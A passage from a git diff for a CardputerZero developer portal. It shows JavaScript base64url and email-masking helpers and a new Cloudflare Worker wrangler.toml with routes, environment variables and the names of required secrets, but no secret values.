btoa(String.fromCharCode(...bytes)).replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, ""); +} + +function unb64url(str) { + const s = str.replace(/-/g, "+").replace(/_/g, "/"); + return Uint8Array.from(atob(s), (c) => c.charCodeAt(0)); +} + +function maskEmail(email) { + const [user, domain] = email.split("@"); + if (!domain) return "***"; + return `${user.slice(0, 2)}***@${domain}`; +} diff --git a/dev-portal/worker/wrangler.toml b/dev-portal/worker/wrangler.toml new file mode 100644 index 0000000..71c7eac --- /dev/null +++ b/dev-portal/worker/wrangler.toml @@ -0,0 +1,28 @@ +name = "cardputerzero-dev-portal" +main = "src/index.js" +compatibility_date = "2026-07-01" + +# Portal page + API on the same origin (no CORS anywhere). +routes = [ + { pattern = "dev.cardputer.cc", custom_domain = true }, +] + +[assets] +directory = "../site" +binding = "ASSETS" + +[vars] +RETURN_PATH = "/" +TARGET_OWNER = "CardputerZero" +TARGET_REPO = "packages" +BUFFER_TAG = "web-upload-buffer" +MAX_SIZE_MB = "64" +PACKAGES_INDEX_URL = "https://cardputer.cc/packages/dists/stable/main/binary-arm64/Packages" +# Comma-separated GitHub logins with admin power (can update/unpublish any package). +ADMIN_LOGINS = "" + +# Secrets (wrangler secret put ): +# GITHUB_CLIENT_ID OAuth App (callback: https://dev.cardputer.cc/auth/callback) +# GITHUB_CLIENT_SECRET +# BOT_TOKEN fine-grained PAT, contents:write on CardputerZero/packages +# SESSION_SECRET openssl rand -hex 32